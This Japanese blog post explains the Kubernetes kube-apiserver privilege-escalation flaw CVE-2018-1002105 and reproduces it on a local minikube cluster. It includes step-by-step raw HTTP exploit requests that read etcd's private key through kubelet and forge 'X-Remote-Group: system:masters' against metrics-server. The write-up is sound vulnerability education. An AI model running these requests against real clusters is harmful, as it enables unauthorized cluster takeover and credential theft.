Edited at

CVE-2018-1002105 の issue を読んで kube-apiserver に詳しくなろう!

脆弱性と聞くとワクワクしてきますね。実際にどんな悪さができてしまうのか、Criticalとなる脆弱性とはいかほどのものなのでしょう??実際のところ、ZDNet の記事においては、


「デフォルト設定では、すべてのユーザー(認証の有無にかかわらない)に対して、この権限昇格を可能にするディスカバリAPI呼び出しの実行が許可されている」という。つまり、この脆弱性について知っている人物であれば 誰でもKubernetesクラスタを手中に収めることができる


みたいなことが書いてあっていかにも怖そうです。本当でしょうかね?


Kubernetes API Server (kube-apiserver)

今回の CVE の対象コンポーネントは kube-apiserver です。

apiserver is central server

kube-apiserver は上記の図のように、全てのコンポーネントからの API の受付口となるコンポーネントとなっています。矢印の向きにある通り、これらは全て kube-apiserver をサーバとした通信です。Kubernetes のアーキテクチャとしてこの情報の向きは決まっており、セントラルドグマと言っていいでしょう。


kubernetes/issues/71411

ではでは、問題となる CVE について見てみましょう。

CVE-2018-1002105 についての issue がこの問題の一次情報です。まず一番信頼できる情報にあたるのが大事ですよね!そこにはこうあります。


With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.


はい、何言ってるのかさっぱりわかりませんね。わかってる人にはわかるけど、わからない人にはさっぱりわからない、という見本みたいな文章です。


kube-apiserver はリバースプロキシとして「も」動作する

この問題を理解するには、kube-apiserver がリバースプロキシとして動作する場合がある、ということ知ってるかどうかが最初のキーポイントです。

Kubernetes のアーキテクチャのセントラルドグマは kube-apiserver をサーバとする一方向のデータフローです、と言っておきながら、何事にも例外はあるもので、以下の二つの場合において、バックエンドにそのリクエストをプロキシします。つまり、kube-apiserver がクライアントとなることがあります。


  1. Pod に対する exec/attach/port_forward

  2. aggregated API server へのリクエスト

Pod に対する exec/attach/port_forward は、わかりやすいですね、

$ k exec -ti metrics-server-557f5547c6-5rsqk -c metrics-server sh

/ # ls
apiserver.local.config home sys
bin metrics-server tmp
dev proc usr
etc root var

例えば、上記のような kubectl exec ${POD_NAME} はどう考えても kube-apiserver で完結することができません。実際のリクエストを Pod に送らなければその結果を取得することはできないからです。結果として以下のような経路で kubectl からのリクエストは Pod に届けられます。

kubelet

kubectl exec ${POD_NAME} のリクエストは kube-apiserver からkubelet を経由して Pod に届けられます。

では、aggregated API server とはなんでしょう?aggregated API server とは、kube-apiserver を拡張する一つの手段です。Kubernetes の API を拡張する手段としては CustomResourceDefinitions (CRD) を利用した Operator パターンが有名ですが、そのパターンでは実現できない API を実装する手段です。

aggregated api server

上記の図にあるように、kube-apiserver に対して、API サーバをさらに追加するイメージです。この場合、実際の API リクエストに対するレスポンスはバックエンドが行い、 kube-apiserver はリバースプロキシとして動作します。よく知られている aggregated API server としては、metrics-server や、service catalog があります。


プロキシ-バックエンド間は kube-apiserver の権限で接続される

Kubernetes のコンポーネント間は TLS 通信 + Client-Cert 認証が基本です。上記の kube-apiserver - kubelet 間および kube-apiserver - aggregated API server 間、の通信は kube-apiserver をクライアントとした TLS 通信です。また、それぞれの通信はそれぞれの通信用の CA により認証された Client-Cert を利用して認証を行なっており、それぞれの通信で必要な権限への認可がされています。具体的には、


kube-apiserver - kubelet

kubelet


  • kube-apiserver に対して、kubelet の API 全操作 に関する権限。


    • ノード上の Pod 一覧の取得

    • ノード上の Pod の spec の取得

    • ノード上の Pod に対する exec/attach/portforward



ユーザの権限に関する認証、認可のチェックは kube-apiserver で行い、ユーザは許可された kubelet API の呼び出しのみを実行することが可能ですが、リバースプロキシとしてのkube-apiserver は全ての kubelet API を呼び出し可能である点が注目する点です。


kube-apiserver - aggregated API server

aggregated API server


  • kube-apiserver に対して aggregated API server に対する Authentication Proxy としての権限


    • Authentication Proxy とは、前段のプロキシに認証の肩代わりをさせる機能です。この場合は aggregated API server は kube-apiserver の送ってきた認証の結果を無条件で信用することになります。



ユーザは kube-apiserver で認証を行い、kube-apiserver はその認証情報をバックエンドである aggregated API server に伝えます。kube-apiserver はユーザのリクエストと、そのリクエストの送り主が誰であるか?ということをバックエンドに伝えるリバースプロキシとして動作します。


今回の脆弱性


With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.


では、今回の脆弱性の要約について、おさらいしてみましょう。適当にポイントだけ訳すと以下のようになります。


特別に細工したリクエストを使うことで、ユーザは 認証されたkube-apiserver とバックエンド間の接続を直接利用して、バックエンドのサーバに対して好きなリクエストを送ることができます。


つまり、kube-apiserver - kubelet や、kube-apiserver - aggregated API server 間で kube-apiserver に許可されている権限で、それらバックエンドに好きなリクエストを送ることができちゃいます!


根本原因

id:nekop さんが一言でまとめてくれています。すなわち、


WebSocketに遷移する際のHTTP Upgrade時に101 Switching Protocolsというステータスを正しくチェックしていないために、細工したリクエストを送信することで認証のバイパスが発生し、k8s cluster上の任意のPodに接続できたりcluster-admin権限での操作を可能とするというものです。


kube-apiserver のリバースプロキシとしての機能は単なる HTTP のリバースプロキシとしての機能だけではなく、exec/attach/portforward などを行うための WebSocket プロトコルに対するリバースプロキシの機能を備えています。そこのエラーハンドリングに問題があったため、ユーザが許可されているバックエンドへのリクエストに特権昇格が可能になるという脆弱性が発覚したのでした。


脆弱性の影響

この脆弱性を利用するためには少なくともバックエンドに対して kube-apiserver を通してリクエストを送る権限を持っていなければなりません。


kube-apiserver - kubelet

この通信を利用した脆弱性を利用するためには少なくとも、Pod に対する exec/attach/portforward を行うことができる権限が必要となります。そしてこの脆弱性を利用することで 任意の Pod に対する exec/attach/portforward を実行する権限に昇格することができます。

kubelet

この脆弱性が問題になるのは、例えば一部の NamespacePod のみに権限を持っているユーザがいる場合など、ユーザに相応の権限を絞っている場合です。(シングルユーザのクラスタや、無駄に exec の権限などをツールにつけていない人には関係なさそうです)


kube-apiserver - aggregated API server

この通信を利用した脆弱性が実は、該当するクラスタにとっては致命的、関係ないクラスタには全く関係ない、というなかなか楽しいケースです。

この脆弱性を利用することでアタッカーは、バックエンドである aggregated API server、例えば metrics-serverservice catalog の API を実行することができます。

metrics-server が公開している API はせいぜい NodePod のメトリクスの取得くらいなのでたいしたことは無いのですが、service catalog を公開していた場合、権限を持っていないアタッカーでも勝手に自分の (悪意のある) サービスを Kubernetes に追加したり、有料のサービスを勝手に使ったりすることができちゃいます。 OpenShift Online とかやばそうですね…。他人事ながら心配。


どんな権限を持ったユーザが?


Default RBAC policy allows all users (authenticated and unauthenticated) to perform discovery API calls that allow this escalation against any aggregated API servers configured in the cluster.


と、ある通り、「デフォルト設定では、すべてのユーザー(認証の有無にかかわらない)に対して、この権限昇格を可能にするディスカバリAPI呼び出しの実行が許可されている」と、書かれていますつまり、この Kubernetes の API エンドポイントにアクセスすることができる すべてのユーザ がこの脆弱性を利用可能です。上記の ZDNet が心配していたのもここですね。ただ、 「誰でもKubernetesクラスタを手中に収めることができる」って言うのはちょっと言い過ぎでしょう。


ディスカバリAPI

ちなみに、ディスカバリAPIとは何者でしょう?

それは、Kubernetes の API サーバがどの API 呼び出しに対応しているか、を知ることができる API です。kubectl で以下のコマンドで呼び出すことができます。

$ k api-versions

$ k api-resources

上記のコマンドは以下の curl コマンドと等価です。

$ curl -k https://${API_ENDPOINT}/apis

$ curl -k https://${API_ENDPOINT}/apis/${API_GROUP}/${API_VERSION}

デフォルトの設定では上記のエンドポイントは未認証のユーザに公開されているため、誰でも結果を取得することができます。

そして、ここがポイントなのですが、と、ある ${API_GROUP} を実装している aggregated API server は、上記のディスカバリ API を kube-apiserver を通して公開しています。例えば aggregated API server である metrics-server は以下のエンドポイントを kube-apiserver を通して公開しています。以下のリクエストは kube-apiserver へのリクエストですが、実際のレスポンスは metrics-server が返しています。

$ curl -k https://${API_ENDPOINT}/apis/metrics.k8s.io/v1beta1

{
"kind": "APIResourceList",
"apiVersion": "v1",
"groupVersion": "metrics.k8s.io/v1beta1",
"resources": [
{
"name": "nodes",
"singularName": "",
"namespaced": false,
"kind": "NodeMetrics",
"verbs": [
"get",
"list"
]
},
{
"name": "pods",
"singularName": "",
"namespaced": true,
"kind": "PodMetrics",
"verbs": [
"get",
"list"
]
}
]
}%

検証の方ではこのエンドポイントを利用して、実際に metrics-server の API を呼び出してみたいと思います。


CVE Fix パッチの確認

攻撃方法の検証をするためにはまず、この脆弱性をどう修正しているのを見るかが一番早いですね。この脆弱性は以下のパッチで修正されています。

主に修正されている関数は以下ですね。

 // tryUpgrade returns true if the request was handled.

func (h *UpgradeAwareHandler) tryUpgrade(w http.ResponseWriter, req *http.Request) bool {
if !httpstream.IsUpgradeRequest(req) {
klog.V(6).Infof("Request was not an upgrade")
return false
}
// ... 後略

HTTP の Upgrade を試みて、成功した場合はこの関数内で全ての処理は完結するようです。ちなみに httpstream.IsUpgradeRequesttrue を返すのは HTTP のヘッダに Connection: Upgrade が含まれていた時みたいですね。

そして一番重要なところは以下のコードと思われます。

if rawResponseCode != http.StatusSwitchingProtocols {

// If the backend did not upgrade the request, finish echoing the response from the backend to the client and return, closing the connection.
klog.V(6).Infof("Proxy upgrade error, status code %d", rawResponseCode)
_, err := io.Copy(requestHijackedConn, backendConn)
if err != nil && !strings.Contains(err.Error(), "use of closed network connection") {
klog.Errorf("Error proxying data from backend to client: %v", err)
}
// Indicate we handled the request
return true
}

新しく追加されたコードで HTTP のレスポンスのコードをチェックし、http.StatusSwitchingProtocols でなかった場合この関数を終了していますね。これがなかった場合、バックエンドは Connection: Upgrade に失敗した、と言っているのに kube-apiserverWebSocket みたいなリクエストが続いていると誤解して、バックエンドに対して接続を確立したまま任意のデータを送ってしまいそうです。

これらから、攻撃を成立させるためには HTTP のヘッダに Connection: Upgrade を付与しつつも、実際には Connection Upgrade に失敗すれば良いということがわかりますね!


検証

それでは検証してみましょう。パブリックな k8s クラスタを攻撃すると流石に法に触れそうなので、自分のローカル環境にまだ対策が済んでいない k8s を用意します。minikube で。

$ minikube start --bootstrapper=kubeadm \

--vm-driver=hyperkit \
--kubernetes-version=v1.12.2


kubelet への攻撃


前準備

kubelet 攻撃用に、Namespace: for-attacker のみに edit の権限を持ったユーザ、attacker を用意します。

$ k create namespace for-attacker

$ k create serviceaccount attacker -n for-attacker
$ k create rolebinding attacker \
--clusterrole edit \
--namespace for-attacker \
--serviceaccount for-attacker:attacker
$ secret=$(k get serviceaccount attacker -n for-attacker -o 'jsonpath={.secrets[0].name}')
$ export KUBE_TOKEN=$(k get secret \
-n for-attacker \
-o "jsonpath={.data.token}" \
"$secret" \
| openssl enc -d -base64 -A)
$ cat <<EOF > config
apiVersion: v1
kind: Config
clusters:
- cluster:
certificate-authority: /Users/${USER}/.minikube/ca.crt
server: https://$(minikube ip):8443
name: minikube
contexts:
- context:
cluster: minikube
user: attacker
name: minikube-attack
users:
- name: attacker
user:
token: ${KUBE_TOKEN}
current-context: minikube-attack
EOF

環境変数、${KUBE_TOKEN} に攻撃者用の kube-apiserver 接続のためのトークンを、./config には kubectl でテストするため用の KUBECONFIG を用意しました。

テストしてみたところ、問題なく他の Namespace への権限はないようですね。

$ export KUBECONFIG=./config

$ k get pod -n for-attacker
No resources found.
$ k get pod -n kube-system
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:for-attacker:attacker" cannot list resource "pods" in API group "" in the namespace "kube-system"


kubelet の API を呼び出してみる

それでは、本来権限がないはずの attacker さんが、kubelet の API を呼び出してみましょう。

まずは、土台となる exec を実行するために、ダミーで Pod をデプロイします。

$  k run base-of-attack \

--image nginx \
-n for-attacker \
--restart=Never
pod/base-of-attack created

openssl コマンドを利用して kube-apiserver に対して接続を開始します。

$ openssl s_client -connect $(minikube ip):8443

無事、接続が成功したので、本来権限を持っている Pod: base-of-attack に対して Connection: Upgrade に失敗するリクエストを送ってやります。(${KUBE_TOKEN} の部分には実際のトークンを展開してください)

GET /api/v1/namespaces/for-attacker/pods/base-of-attack/exec HTTP/1.1

Host: minikube
Authorization: Bearer ${KUBE_TOKEN}
Connection: Upgrade

HTTP/1.1 400 Bad Request
Date: Mon, 10 Dec 2018 08:52:50 GMT
Content-Length: 52
Content-Type: text/plain; charset=utf-8

you must specify at least 1 of stdin, stdout, stderr

exec を実行するためにはオプションが足りないため、400 Bad Request が返ってきました、 しかし接続はきれていません!!

この状態からは kube-apiserver の接続を利用して kubelet に対して好きなリクエストを送ることが可能です。例えば Pod の一覧を取得する API をリクエストしてみましょう。

GET /pods HTTP/1.1

Host: minikube

HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 08:56:56 GMT
Transfer-Encoding: chunked

7591
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"
... (略)

ノード上で実行されている Pod の一覧が返ってきました。どうやら etcd も同じノードで実行されているようですね!(minikube ですかr)

では、etcd の 秘密鍵でも覗いてみましょうか…。(時間の都合上秘密鍵のパスは知っているものとします)

GET /exec/kube-system/etcd-minikube/etcd?command=cat&command=/var/lib/minikube/certs/etcd/server.key&input=1&output=1&tty=0 HTTP/1.1

Upgrade: websocket
Connection: Upgrade
Host: minikube
Origin: http://minikube
Sec-WebSocket-Key: E4WSEcseoWr4csPLS2QJHA==
Sec-WebSocket-Version: 13
sec-websocket-protocol: v4.channel.k8s.io

��~�-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAyLPpS9fXJQ07to+4LPwELY7S1WQjVk2rQLgji2XTA43ACGoL
dqhcvMh0YP55EqdvVtEvVUpZ255CJLY6LnPzmYd/fYmMANF3F2+Db1Yliu8rQBAj
Ccb29bIG6daGs+gUvAK4MVj1g8jdP+H1+8srt9wgzLqdCG0athc+HoMpb4lBWRyx
...(中略)...
IG51AoGABUl61PIpfyNwbSviXoL16YVO8atqHE1c0BaeHupDkviH6ZswoUCZwZqX
xk2iDrn3hjdbJJpPnwzN/QTR6ond8wb0VF8qVr39oYdNXX0lb8YQYWOrMJd44ezJ
ievJfY31e2Es43auGqT9fCetK+0uxjcNxGYAVIL8NbGphFkZRMI=
-----END RSA PRIVATE KEY-----
�#{"metadata":{},"status":"Success"}��closed

見れました。ヤヴァイですねー。

と言うことで、本来は見る権限がないファイルを見ることができることが実証されてしまいました。privileged なコンテナからも任意のコマンドが実行可能なので、実質ノードの root を取ったも同じものですね!これはヒドイ!

$ k exec -it -n kube-system etcd-minikube \

cat /var/lib/minikube/certs/etcd/server.key
Error from server (Forbidden): pods "etcd-minikube" is forbidden: User "system:serviceaccount:for-attacker:attacker" cannot get resource "pods" in API group "" in the namespace "kube-system"

本来はこうなるはずだったのに…。


aggregated API server への攻撃


前準備

攻撃対象の aggregated API server を用意します。今回は addon として簡単に追加できる metrics-server を利用しましょう。

$ minikube addons enable metrics-server

metrics-server was successfully enabled

この脆弱性は誰でも呼び出し可能な API からつくことができるので準備は以上です。


metrics-server の API を呼び出してみよう!

まずは openssl で接続し、、

$ openssl s_client -connect $(minikube ip):8443

リクエスト可能なパスに対して、本来必要のない Connection: Upgrade ヘッダを乗せて呼び出してみます。誰でもリクエスト可能な API なので Authorization ヘッダがいらないのが優しいですね。

GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1

Host: minikube
Connection: Upgrade

HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:26:53 GMT
Content-Length: 292

{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"metrics.k8s.io/v1beta1","resources":[{"name":"nodes","singularName":"","namespaced":false,"kind":"NodeMetrics","verbs":["get","list"]},{"name":"pods","singularName":"","namespaced":true,"kind":"PodMetrics","verbs":["get","list"]}]}

200 OK が返ってきました。本来ならばここで接続が切れてほしいところなのですが、なぜか接続状態が持続してますねー。さあ、この時点で権限 kube-apiserver と同格に昇格してますよ、metrics-server の API を呼び出してみましょう!

GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1

Host: minikube

HTTP/1.1 401 Unauthorized
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:30:02 GMT
Content-Length: 129

{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}

何故か返ってくる 401。あれ、俺は kube-apiserver と同格なんじゃなかったっけ(anonymousだけど)。

aggregated API server

もう一度接続の概要図を見てみましょう。実は kube-apiserver - metrics-server 間の接続で許可されている権限は、metrics-server の API を呼び出すことができる権限ではなく、metrics-server に対する Authentication Proxy としての権限だったのですねー!これじゃバックエンドの API を任意に実行可能である、と言う攻撃を成立させることはできないですね!残念!

と、ここで思考を停止してもいいのですが、そもそも Authentication Proxy ってなんだったっけ、と言う。最初に書きました。繰り返します。


Authentication Proxy とは、前段のプロキシに認証の肩代わりをさせる機能です。この場合は aggregated API server は kube-apiserver の送ってきた認証の結果を無条件で信用することになります。


つまり…どういうことだってばよ? (AA略

X-Remote-User および X-Remote-Group ヘッダを無条件に信用します。そのヘッダを無条件に信用するかどうかはその接続時のTLSのClient-Cert 認証の結果で担保します。

例えば、X-Remote-Group: system:masters と言うヘッダをつければ簡単に cluster-admin に昇格可能です。これは酷い。

GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1

Host: minikube
X-Remote-Group: system:masters
X-Remote-User: attacker

HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:45:50 GMT
Content-Length: 364

{"kind":"NodeMetricsList","apiVersion":"metrics.k8s.io/v1beta1","metadata":{"selfLink":"/apis/metrics.k8s.io/v1beta1/nodes"},"items":[{"metadata":{"name":"minikube","selfLink":"/apis/metrics.k8s.io/v1beta1/nodes/minikube","creationTimestamp":"2018-12-10T09:45:50Z"},"timestamp":"2018-12-10T09:45:00Z","window":"1m0s","usage":{"cpu":"137m","memory":"1572068Ki"}}]}

/nodes のメトリクスが取得できてしまいました…。前の方にも書きましたがクラスター自体を壊したりすることができる API を実装した aggregated API server とかがデプロイされていたら本当に酷いことになりますね、ナムー。


まとめ

とりあえず今回の脆弱性を軽くまとめてみました。所感を言うと今回の脆弱性は関係する人にはボヤじゃすまないけど、関係ない人にはどうでもいい脆弱性ですね!(特にお家クラスターで一人で遊んでる人とか

以上です!みなさんくれぐれも悪用しないでくださいね。そしてクラスタ管理者さんはボヤボヤしてないですぐにクラスタをアップグレードしましょう!